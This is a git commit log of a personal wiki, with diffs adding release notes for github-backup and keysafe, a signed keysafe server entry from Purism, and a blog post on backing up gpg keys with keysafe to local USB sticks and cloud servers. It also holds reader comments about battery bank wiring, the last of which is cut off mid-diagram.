-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
-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

(Diff truncated)
add news item for github-backup 1.20161118
diff --git a/code/github-backup/news/version_1.20160319.mdwn b/code/github-backup/news/version_1.20160319.mdwn
deleted file mode 100644
index ca3efaf..0000000
--- a/code/github-backup/news/version_1.20160319.mdwn
+++ /dev/null
@@ -1,6 +0,0 @@
-github-backup 1.20160319 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Update to github-0.14.1.
-     Building with old versions is not supported due to the massive API
-     changes in this version of the github library.
-   * Added support for oath tokens."""]]
\ No newline at end of file
diff --git a/code/github-backup/news/version_1.20161118.mdwn b/code/github-backup/news/version_1.20161118.mdwn
new file mode 100644
index 0000000..81a7226
--- /dev/null
+++ b/code/github-backup/news/version_1.20161118.mdwn
@@ -0,0 +1,3 @@
+github-backup 1.20161118 released with [[!toggle text="these changes"]]
+[[!toggleable text="""
+   * Fix build with recent versions of cabal."""]]
\ No newline at end of file

fix
diff --git a/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn b/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn
index 2936627..aeb5fce 100644
--- a/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn
+++ b/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn
@@ -5,4 +5,4 @@ Hobart, Tasmania. [Abstract](https://linux.conf.au/schedule/presentation/116/)
 Linux.Conf.Au is a wonderful conference, and I'm thrilled to be able to
 attend it again.
 
-[[!tag code/propellor]]
+[[!tag propellor]]

fix
diff --git a/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn b/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn
index fe490d8..2936627 100644
--- a/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn
+++ b/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn
@@ -5,4 +5,4 @@ Hobart, Tasmania. [Abstract](https://linux.conf.au/schedule/presentation/116/)
 Linux.Conf.Au is a wonderful conference, and I'm thrilled to be able to
 attend it again.
 
-[[!code/propellor]]
+[[!tag code/propellor]]

blog update
diff --git a/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn b/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn
new file mode 100644
index 0000000..fe490d8
--- /dev/null
+++ b/blog/entry/Linux.Conf.Au_2017_presentation_on_Propellor.mdwn
@@ -0,0 +1,8 @@
+On January 18th, I'll be presenting 
+"Type driven configuration management with Propellor" at Linux.Conf.Au in
+Hobart, Tasmania. [Abstract](https://linux.conf.au/schedule/presentation/116/)
+
+Linux.Conf.Au is a wonderful conference, and I'm thrilled to be able to
+attend it again.
+
+[[!code/propellor]]

add news item for github-backup 1.20161110
diff --git a/code/github-backup/news/version_1.20160207.mdwn b/code/github-backup/news/version_1.20160207.mdwn
deleted file mode 100644
index 2d7fd4e..0000000
--- a/code/github-backup/news/version_1.20160207.mdwn
+++ /dev/null
@@ -1,10 +0,0 @@
-github-backup 1.20160207 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Switch to using https instead of git:// for a secure transport.
-     Note that existing git:// remotes will continue to be used.
-     Thanks, Robin Schneider.
-   * Add upper bound on github dependency, as version 0.14 has large API
-     changes and can't be used yet.
-   * Various updates to internal git and utility libraries shared
-     with git-annex.
-   * Silence build warnings with ghc 7.10."""]]
\ No newline at end of file
diff --git a/code/github-backup/news/version_1.20161110.mdwn b/code/github-backup/news/version_1.20161110.mdwn
new file mode 100644
index 0000000..e736fdd
--- /dev/null
+++ b/code/github-backup/news/version_1.20161110.mdwn
@@ -0,0 +1,6 @@
+github-backup 1.20161110 released with [[!toggle text="these changes"]]
+[[!toggleable text="""
+   * Fix build with recent versions of the directory package.
+     Thanks, James McCoy.
+   * Various updates to internal git and utility libraries shared
+     with git-annex."""]]
\ No newline at end of file

add news item for keysafe 0.20161107
diff --git a/code/keysafe/news/version_0.20160922.mdwn b/code/keysafe/news/version_0.20160922.mdwn
deleted file mode 100644
index 0cf5ac8..0000000
--- a/code/keysafe/news/version_0.20160922.mdwn
+++ /dev/null
@@ -1,17 +0,0 @@
-keysafe 0.20160922 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Keysafe now knows about 3 servers, although only 1 is currently in
-     operation. It will queue uploads to the other 2 servers until
-     they are added in a later keysafe release.
-   * Added --autostart mode, and make both keysafe --backup and
-     the Makefile install a FDO desktop autostart file to use it.
-   * In --autostart mode, retry any queued uploads.
-   * In --autostart mode, check for gpg keys that have not been
-     backed up, and offer to back them up. Only ask once per key.
-   * Changed format of ~/.keysafe/backup.log
-   * Server: Reduce number of buckets in rate limiter, avoiding ones with very low
-     proof of work.
-   * Server: Make rate limiter adapt to ongoing load more quickly -- every 15
-     minutes instead of every 60.
-   * Server: Added --backup-server and --restore-server to aid in backing
-     up keysafe servers with minimal information leakage."""]]
\ No newline at end of file
diff --git a/code/keysafe/news/version_0.20161107.mdwn b/code/keysafe/news/version_0.20161107.mdwn
new file mode 100644
index 0000000..d98987e
--- /dev/null
+++ b/code/keysafe/news/version_0.20161107.mdwn
@@ -0,0 +1,14 @@
+keysafe 0.20161107 released with [[!toggle text="these changes"]]
+[[!toggleable text="""
+   * The third keysafe server is now available, provided by Purism.
+   * Purism's keysafe server has been vetted to Recommended level!
+   * Change default for --port to 4242.
+   * Fix --check-server to not fail when the server has not had anything
+     stored on it yet.
+   * --upload-queued: Exit nonzero if unable to upload all queued objects.
+   * --autostart: If unable to upload all queued objects initially,
+     delay between 1 and 2 hours and try again.
+   * Better suggestion when user is having difficulty thinking of a strong
+     enough password.
+   * Defer requesting secret key from gpg until just before backup, so the
+     user knows why gpg is asking for this secret key to be backed up."""]]
\ No newline at end of file

update
diff --git a/code/keysafe/servers.mdwn b/code/keysafe/servers.mdwn
index 72b16d3..c1553c7 100644
--- a/code/keysafe/servers.mdwn
+++ b/code/keysafe/servers.mdwn
@@ -38,7 +38,39 @@ Keysafe's server list puts servers in three categories:
 
 ### Recommended
 
-**None yet!**
+* hlmjmeth356s5ekm.onion
+
+<pre>
+-----BEGIN PGP SIGNED MESSAGE-----
+Hash: SHA1
+
+The keysafe server hlmjmeth356s5ekm.onion is provided and administered by
+Purism. It is located in the EU (Cyprus).
+
+We intend to run this server for at least 10 years (through 2027),
+or failing that, to transition any data stored on it to another
+server that is of similar or higher security.
+
+Our warrant canary is <https://puri.sm/warrant-canary/>,
+and is updated quarterly.
+-----BEGIN PGP SIGNATURE-----
+Version: GnuPG v1
+
+iQIcBAEBAgAGBQJYF8U4AAoJECPPLj0lRRT30CkP/Rn2TAeriNWO9wZcr0OHyX7B
+TJcgLy3pZXbGn6T6qmJqg3K22fTKJ7CX0dfIM+WLI9FfBtnT95q1rnzywhBGPXzj
+eD3g7r3QinIfMLBQTKyc9Ik5132uenD5h72ggVl3D+kuWv622IhaAaiVkuHc5KoR
+3/S+ImkcS/gz83UNTXnWdMs0V8+eqAjpWeYQS8Ih28AECI9f+xUUH//V9Ii/4Usv
+E3Y0hbqj8kSi4/Q6IwmFiJTKZ1FpccKhl6GIYUSLwJMJDHoI46M/AaZy0Xx9pLcU
+niSELai/7/0fY4N0TY2CbZUgH7FEhi0k8cCsGF7yTA6dqya8deKQKdUdDllcHayv
++GOAqijiSTPrRox4TPMMdurPXTsJxeJuxVdS75Lw2cFk+JaaIVS/3XEyeuGpaVKW
+wSTltyFkMx9ur5cCPT2rxoRN78HuqgiHda/Jd4c2pny7GwpUEYAznQQaBYEl2jlQ
+/Go3ZudpnWfBRRe7znazhA6mIatPY61GrNIebVlET6/NCw9sZFRjHXY3pMw1u/TY
+4eP0UQpBUed4/sot5vsZVwbn8e6eFh0S4HTdl5x1G8jN8nUZVdJJjOtACrONW+TG
+CLSNDkMgQ5slBmtZm+MzL2VYkFHCMmPerNXY1DhHjMyfLpQEIN+bho+mIyc5h/W/
+Br5jFZujcQ0u7GzqvaDB
+=RmK4
+-----END PGP SIGNATURE-----
+</pre>
 
 ### Alternate
 
@@ -75,11 +107,6 @@ lhmhvShr0WRqB8fWYPkc
 -----END PGP SIGNATURE-----
 </pre>
 
-* keysafe.puri.sm
-
-  Provided by [Purism](https://puri.sm/). Located in Cyprus.  
-  Vetting to Recommended level in progress.
-
 * thirdserver
 
   Provided by Marek Isalski at [Faelix](http://www.faelix.net/).

add rest of keysafe servers
diff --git a/code/keysafe/servers.mdwn b/code/keysafe/servers.mdwn
index 334df3b..72b16d3 100644
--- a/code/keysafe/servers.mdwn
+++ b/code/keysafe/servers.mdwn
@@ -75,6 +75,17 @@ lhmhvShr0WRqB8fWYPkc
 -----END PGP SIGNATURE-----
 </pre>
 
+* keysafe.puri.sm
+
+  Provided by [Purism](https://puri.sm/). Located in Cyprus.  
+  Vetting to Recommended level in progress.
+
+* thirdserver
+
+  Provided by Marek Isalski at [Faelix](http://www.faelix.net/).
+  Currently located in UK, but planned move to CH.  
+  Vetting to Recommended level in progress.
+
 ## Detailed requirements
 
 ### Alternate

Added a comment
diff --git a/blog/entry/a_rope_ladder_to_the_dgit_treehouse/comment_2_0b2d59f84b135405e0fcd379da7bd032._comment b/blog/entry/a_rope_ladder_to_the_dgit_treehouse/comment_2_0b2d59f84b135405e0fcd379da7bd032._comment
new file mode 100644
index 0000000..12d39cb
--- /dev/null
+++ b/blog/entry/a_rope_ladder_to_the_dgit_treehouse/comment_2_0b2d59f84b135405e0fcd379da7bd032._comment
@@ -0,0 +1,8 @@
+[[!comment format=mdwn
+ username="spwhitton"
+ avatar="http://cdn.libravatar.org/avatar/9c3f08f80e67733fd506c353239569eb"
+ subject="comment 2"
+ date="2016-10-24T14:34:38Z"
+ content="""
+The latest release of dgit, 2.7, includes `dgit-maint-merge(7)`, a tutorial building on the ideas in this blog post.
+"""]]

add news item for keysafe 0.20161022
diff --git a/code/keysafe/news/version_0.20160914.mdwn b/code/keysafe/news/version_0.20160914.mdwn
deleted file mode 100644
index 9b0dcd1..0000000
--- a/code/keysafe/news/version_0.20160914.mdwn
+++ /dev/null
@@ -1,21 +0,0 @@
-keysafe 0.20160914 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Fix bug that prevented keysafe --server from running when there was no
-     controlling terminal and zenity was not installed.
-   * Added --name and --othername options.
-   * Added proof of work to client/server protocol.
-   * Server-side rate limiting and DOS protection.
-   * server: Added --months-to-fill-half-disk option, defaulting to 12.
-   * Several new dependencies.
-   * Another fix to gpg secret key list parser.
-   * Warn when uploads fail and are put in the upload queue.
-   * Warn when --uploadqueued fails to upload to servers.
-   * Fix --uploadqueued bug that prevented deletion of local queued file.
-   * Added --chaff mode which uploads random junk to servers.
-     This is useful both to test the server throttling of uploads,
-     and to make it harder for servers to know if an object actually
-     contains secret key information.
-   * Store information about backed up keys in ~/.keysafe/backup.log
-     This can be deleted by the user at any time, but it's useful
-     in case a server is known to be compromised, or a problem is found
-     with keysafe's implementation that makes a backup insecure."""]]
\ No newline at end of file
diff --git a/code/keysafe/news/version_0.20161022.mdwn b/code/keysafe/news/version_0.20161022.mdwn
new file mode 100644
index 0000000..e54f26e
--- /dev/null
+++ b/code/keysafe/news/version_0.20161022.mdwn
@@ -0,0 +1,12 @@
+keysafe 0.20161022 released with [[!toggle text="these changes"]]
+[[!toggleable text="""
+   * Add keywords to desktop file.
+     Thanks, Sean Whitton
+   * Fix use of .IP macro in manpage.
+     Thanks, Sean Whitton
+   * Fix some mispellings.
+     Thanks, Sean Whitton
+   * Makefile: Propagate LDFLAGS, CFLAGS, and CPPFLAGS through ghc.
+   * Makefile: Allow setting BUILDER=./Setup to build w/o cabal or stack.
+   * Makefile: Allow setting BUILDEROPTIONS=-j1 to avoid concurrent
+     build, which should make build reproducible."""]]
\ No newline at end of file

add news item for keysafe 0.20161007
diff --git a/code/keysafe/news/version_0.20160831.mdwn b/code/keysafe/news/version_0.20160831.mdwn
deleted file mode 100644
index 7331f21..0000000
--- a/code/keysafe/news/version_0.20160831.mdwn
+++ /dev/null
@@ -1,16 +0,0 @@
-keysafe 0.20160831 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Server implementation is ready for initial deployment.
-   * Keysafe as a client is not yet ready for production use.
-   * Removed embedded copy of secret-sharing library, since finite-field
-     only supports prime fields. This caused shares to be twice the size of
-     the input value.
-   * Reduced chunk size to 32kb due to share size doubling.
-   * Fix gpg secret key list parser to support gpg 2.
-   * Tuned argon2 hash parameters on better hardware than my fanless laptop.
-   * Improve time estimates, taking into account the number of cores.
-   * Added basic test suite.
-   * Added options: --store-directory --test --port --address
-   * Added a Makefile
-   * Added a systemd service file.
-   * Added a desktop file."""]]
\ No newline at end of file
diff --git a/code/keysafe/news/version_0.20161007.mdwn b/code/keysafe/news/version_0.20161007.mdwn
new file mode 100644
index 0000000..a7e8468
--- /dev/null
+++ b/code/keysafe/news/version_0.20161007.mdwn
@@ -0,0 +1,9 @@
+keysafe 0.20161007 released with [[!toggle text="these changes"]]
+[[!toggleable text="""
+   * Check if --store-local directory is writable.
+   * Removed dependency on crypto-random.
+   * Added a LSB init script, for non-systemd systems.
+     (It currently uses Debian's start-stop-daemon, so would need porting
+     for other distributions.)
+   * /etc/default/keysafe is read by both the systemd service file and the
+     init script, and contains configuration for the keysafe server."""]]
\ No newline at end of file

new alien maintainer
diff --git a/code.mdwn b/code.mdwn
index 2bd4dc0..9d6bceb 100644
--- a/code.mdwn
+++ b/code.mdwn
@@ -38,6 +38,7 @@ people have taken them on.
 [[Debian]]
 [[debian-installer]]
 [[debhelper]]
+[[alien]]
 [[tasksel]]
 [[flashybrid]]
 [[wmbattery]]
@@ -54,7 +55,6 @@ These need new maintainers, stat!
 
 [[debmirror]]
 [[sleepd]]
-[[alien]]
 [[nslu2-utils]]
 [[ticker]]
 
diff --git a/code/alien.mdwn b/code/alien.mdwn
index de043f5..b3c4fad 100644
--- a/code/alien.mdwn
+++ b/code/alien.mdwn
@@ -3,47 +3,17 @@ slackware tgz  file formats. If you want to use a package from another
 distribution than the one you have installed on your system, you can use
 alien to convert it to your preferred package format and install it.
 
-Despite the large version number, alien is still (and will probably always
-be) rather experimental software. It has been used by many people for many
-years, but there are still many bugs and limitations.
-
-Alien should *not* be used to replace important system packages, like 
-sysvinit, shared libraries, or other things that are essential for the 
-functioning of your system. Many of these packages are set up differently by 
-Debian and Red Hat, and packages from the different distributions cannot be 
-used interchangably. In general, if you can't uninstall the package without
-breaking your system, don't try to replace it with an alien version.
-
 ## News
 
 [[!inline pages="code/alien/news/* and !*/Discussion" show="2"]]
 
 ## Downloading alien
 
-Alien is available as the `alien` package in Debian.
-
-Currently the best place to download the tarball is from
-<http://packages.debian.org/unstable/source/alien>
-
-Its git repository is `git://git.joeyh.name/alien`
-
-## Other things you'll need
-
-To use alien, you will need several other programs. Alien is a perl program,
-and requires perl version 5.004 or greater.
-
-To convert packages to or from rpms, you need the Red Hat Package Manager; 
-get it from [its website](http://www.rpm.org/).
-
-If you want to convert packages into debian packages, you will need the 
-dpkg, dpkg-dev, and debhelper packages, which are available on the [Debian packages site](http://packages.debian.org/).
-You'll also need gcc, and make.
+Alien's website has moved to
+<https://sourceforge.net/projects/alien-pkg-convert/>
 
-Attention, all linux users who don't use Debian:
-<a href="mailto:BABCOCK@MATH.PSU.EDU">Bruce S. Babcock</a> has put together a
-package of all the extra files you need to use alien on a non-Debian
-distribution. It's called "alien-extra", and you can download it from
-[his ftp site](ftp://ykbsb2.yk.psu.edu/pub/alien/).
+My old git repository for alien is still available at
+`git://git.joeyh.name/zzattic/alien`
 
 ----
 
diff --git a/code/alien/news/new_alien_maintainer.mdwn b/code/alien/news/new_alien_maintainer.mdwn
new file mode 100644
index 0000000..8f07460
--- /dev/null
+++ b/code/alien/news/new_alien_maintainer.mdwn
@@ -0,0 +1,5 @@
+Kyle Barry has taken over maintenance of alien.
+His versions are available from
+<https://sourceforge.net/projects/alien-pkg-convert/>
+
+This rss feed won't be updated for any new releases of alien.
diff --git a/code/alien/news/version_8.88.mdwn b/code/alien/news/version_8.88.mdwn
deleted file mode 100644
index 99c1cb8..0000000
--- a/code/alien/news/version_8.88.mdwn
+++ /dev/null
@@ -1,4 +0,0 @@
-alien 8.88 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Ensure that version numbers begin with well, a number, when building a
-     deb, otherwise dpkg-deb will refuse to build it."""]]
\ No newline at end of file
diff --git a/code/alien/news/version_8.90.mdwn b/code/alien/news/version_8.90.mdwn
deleted file mode 100644
index 04f4a5c..0000000
--- a/code/alien/news/version_8.90.mdwn
+++ /dev/null
@@ -1,6 +0,0 @@
-alien 8.90 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Add --target=&lt;arch&gt; option for setting architecture. Closes: #[260948](http://bugs.debian.org/260948)
-     (Thanks, Teemu Ikonen)
-   * Add conversion from ppc64le (rpm) to ppc64el (deb).
-   * debhelper v9"""]]
\ No newline at end of file
diff --git a/code/alien/news/version_8.91.mdwn b/code/alien/news/version_8.91.mdwn
deleted file mode 100644
index cadb314..0000000
--- a/code/alien/news/version_8.91.mdwn
+++ /dev/null
@@ -1,5 +0,0 @@
-alien 8.91 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Support other deb data.tar compression schemes in fallback code.
-     Closes: #[718364](http://bugs.debian.org/718364)
-     Thanks, Guillem Jover"""]]
\ No newline at end of file
diff --git a/code/alien/news/version_8.92.mdwn b/code/alien/news/version_8.92.mdwn
deleted file mode 100644
index fc8a3c1..0000000
--- a/code/alien/news/version_8.92.mdwn
+++ /dev/null
@@ -1,4 +0,0 @@
-alien 8.92 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Remove suggests for lsb-rpm, which no longer exists.
-     Closes: #[756873](http://bugs.debian.org/756873)"""]]
\ No newline at end of file
diff --git a/code/alien/news/version_8.93.mdwn b/code/alien/news/version_8.93.mdwn
deleted file mode 100644
index afdb329..0000000
--- a/code/alien/news/version_8.93.mdwn
+++ /dev/null
@@ -1,3 +0,0 @@
-alien 8.93 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Alien needs a new maintainer, both in Debian and upstream."""]]
\ No newline at end of file

Suggest removing parallel
diff --git a/code/moreutils/discussion.mdwn b/code/moreutils/discussion.mdwn
index c6766eb..4cca48f 100644
--- a/code/moreutils/discussion.mdwn
+++ b/code/moreutils/discussion.mdwn
@@ -434,6 +434,8 @@ It would be great if sponge had this same feature as an option: only create the
 
 ## parallel
 
+According to ckester's comment, should we remove parallel from moreutils? The main website of moreutils says: "I'm always interested to add more to the collection, as long as they're suitably general-purpose, and don't DUPLICATE other well-known tools." -- hong
+
 Need to resolve the name conflict with GNU parallel (http://www.gnu.org/software/parallel/).  As far as I can tell, these are two distinct implementations addressing the same general problem space. --ckester
 
 ##### PATCH: make -i and -n not mutually exclusive in parallel

blog update
diff --git a/blog/entry/keysafe_with_local_shares.mdwn b/blog/entry/keysafe_with_local_shares.mdwn
new file mode 100644
index 0000000..1e2c57b
--- /dev/null
+++ b/blog/entry/keysafe_with_local_shares.mdwn
@@ -0,0 +1,56 @@
+If your gpg key is too valuable for you to feel comfortable with
+backing it up to the cloud using [[code/keysafe]], here's an alternative
+that might appeal more. 
+
+Keysafe can now back up some shares of the key to local media, and other
+shares to the cloud. You can arrange things so that the key can't be 
+restored without access to some of the local media and some of the cloud
+servers, as well as your password.
+
+For example, I have 3 USB sticks, and there are 3 keysafe servers. So let's
+make 6 shares total of my gpg secret key and require any 4 of them to
+restore it.
+
+I plug in all 3 USB sticks and look at `mount` to get the paths to them.
+Then, run keysafe, to back up the key spread amoung all 6 locations.
+
+	keysafe --backup --totalshares 6 --neededshares 4 \
+		--add-storage-directory /media/sdc1 \
+		--add-storage-directory /media/sdd1 \
+		--add-storage-directory /media/sde1
+
+Once it's done, I can remove the USB sticks, and distribute them to secure
+places.
+
+To restore, I need at least one of the USB sticks.
+(If some of the servers are down, more USB sticks will be needed.) 
+Again I tell keysafe the paths where USB stick(s) are mounted.
+
+	keysafe --restore --totalshares 6 --neededshares 4 \
+		--add-storage-directory /media/sdb1
+
+Using keysafe this way, physical access to the USB sticks is the first
+level of defense, and hopefully you'll know if that's breached. The keysafe
+password is the second level of defense, and cracking that will take a lot
+of work. Leaving plenty of time to revoke your key, etc, if it comes to
+that.
+
+I feel this is better than the methods I've been using before to back up my
+most important gpg keys. With paperkey, physical access to the printout
+immediately exposes the key. With Shamir Secret Sharing and manual
+distribution of shares, the only second line of defense is the much easier
+to crack gpg passphrase. Using OpenPGP smartcards is still a more secure
+option, but you'd need 3 smartcards to reach the same level of redundancy,
+and it's easier to get your hands on 3 USB sticks than 3 smartcards.
+
+There's another benefit to using keysafe this way. It means that sometimes,
+the data stored on the keysafe servers is not sufficient to crack a key.
+There's no way to tell, so an attacker risks doing a lot of futile work.
+
+If you're not using an OpenPGP smartcard, I encourage you to back up your
+gpg key with keysafe as described above. 
+
+Two of the three necessary keysafe servers are now in operation, and I hope
+to have a full complement of servers soon.
+
+(This was sponsored by Thomas Hochstein on [Patreon](https://patreon.com/joeyh).)

add news item for keysafe 0.20161006
diff --git a/code/keysafe/news/version_0.20160819.mdwn b/code/keysafe/news/version_0.20160819.mdwn
deleted file mode 100644
index 1fe832a..0000000
--- a/code/keysafe/news/version_0.20160819.mdwn
+++ /dev/null
@@ -1,11 +0,0 @@
-keysafe 0.20160819 released
-
-   * First release of keysafe. This is not yet ready for production use.
-   * Network support is not yet implemented, but --store-local works for
-     testing with local data storage.
-   * Data backed up with keysafe version 0.* will not be able to be restored
-     by any later version! Once the data format stabalizes, keysafe version
-     1 data will be supported by every later version.
-   * Argon2 hashes are not yet tuned for modern hardware, but only for my
-     laptop. So, cracking cost estimates may be low. To help with this
-     tuning, run `keysafe --bechmark` and send the output to me.
diff --git a/code/keysafe/news/version_0.20161006.mdwn b/code/keysafe/news/version_0.20161006.mdwn
new file mode 100644
index 0000000..2758b34
--- /dev/null
+++ b/code/keysafe/news/version_0.20161006.mdwn
@@ -0,0 +1,10 @@
+keysafe 0.20161006 released with [[!toggle text="these changes"]]
+[[!toggleable text="""
+   * New --add-storage-directory and --add-server options, which can be used
+     to make keysafe backup/restore using additional locations.
+   * Removed --store-local option; use --add-storage-directory instead.
+   * Fix bugs with entry of gpg keyid in the keysafe.log.
+   * Fix bug in --autostart that caused the full gpg keyid to be
+     used to generate object names, which made restores would only work
+     when --gpgkeyid was specifid.
+   * Remove embedded copy of argon2 binding, depend on fixed version of package."""]]
\ No newline at end of file

Added a comment: remove old batteries?
diff --git a/blog/entry/battery_bank_refresh/comment_2_7d3dcf77d3454c97f849af25636ee5df._comment b/blog/entry/battery_bank_refresh/comment_2_7d3dcf77d3454c97f849af25636ee5df._comment
new file mode 100644
index 0000000..8cbc74f
--- /dev/null
+++ b/blog/entry/battery_bank_refresh/comment_2_7d3dcf77d3454c97f849af25636ee5df._comment
@@ -0,0 +1,16 @@
+[[!comment format=mdwn
+ username="https://anarc.at/openid/"
+ nickname="anarcat"
+ subject="remove old batteries?"
+ date="2016-10-06T12:17:20Z"
+ content="""
+i am not an expert in the field, but it seems to me damaged / discharged batteries may actually be a liability. If you discharge a lead-acid battery too much, it gets damaged and charging it can't quite bring it back to its original capacity, as the terminals get full of crap. \"Too much\" varies from one battery to the other, but 11.1V is *definitely* too low, especially for a battery bank, where that voltage is more an average than the lowest charge point (which means some batteries are *lower* than 11V!).
+
+The worst about damaged batteries in a battery bank is that they bring down other batteries too: the stronger batteries will try to charge the weaker batteries and discharge faster.
+
+Another way to think about this is that every battery is also a resistance as well, even more so when it is damaged.
+
+I can't explain, however, why the two new 12V batteries wouldn't be enough to power the house, unless you have too much of a power drain - I don't know the exact setup here (how much wattage is hooked to the circuit and the exact capacity of the individual batteries) so I can't guess much...
+
+I hope that helps!
+"""]]

Added a comment: Battery bank wiring
diff --git a/blog/entry/battery_bank_refresh/comment_1_6e226a6849a21c3aa53ba2f29ada3c2d._comment b/blog/entry/battery_bank_refresh/comment_1_6e226a6849a21c3aa53ba2f29ada3c2d._comment
new file mode 100644
index 0000000..e910d4b
--- /dev/null
+++ b/blog/entry/battery_bank_refresh/comment_1_6e226a6849a21c3aa53ba2f29ada3c2d._comment
@@ -0,0 +1,32 @@
+[[!comment format=mdwn
+ username="jonatan@f5980658491f77bc917fbe2da469517bd38a9598"
+ nickname="jonatan"
+ subject="Battery bank wiring"
+ date="2016-10-06T09:21:05Z"
+ content="""
+A few recommendations from what I see there, the simplest change I would do to improve the (dis)charging of the batteries would be move one cable to the other side of the bank, like this:
+
+    +---- house 
+    |           
+    +( 6v )-+( 6v )-
+    |              |
+    +( 6v )-+( 6v )-
+    |              |
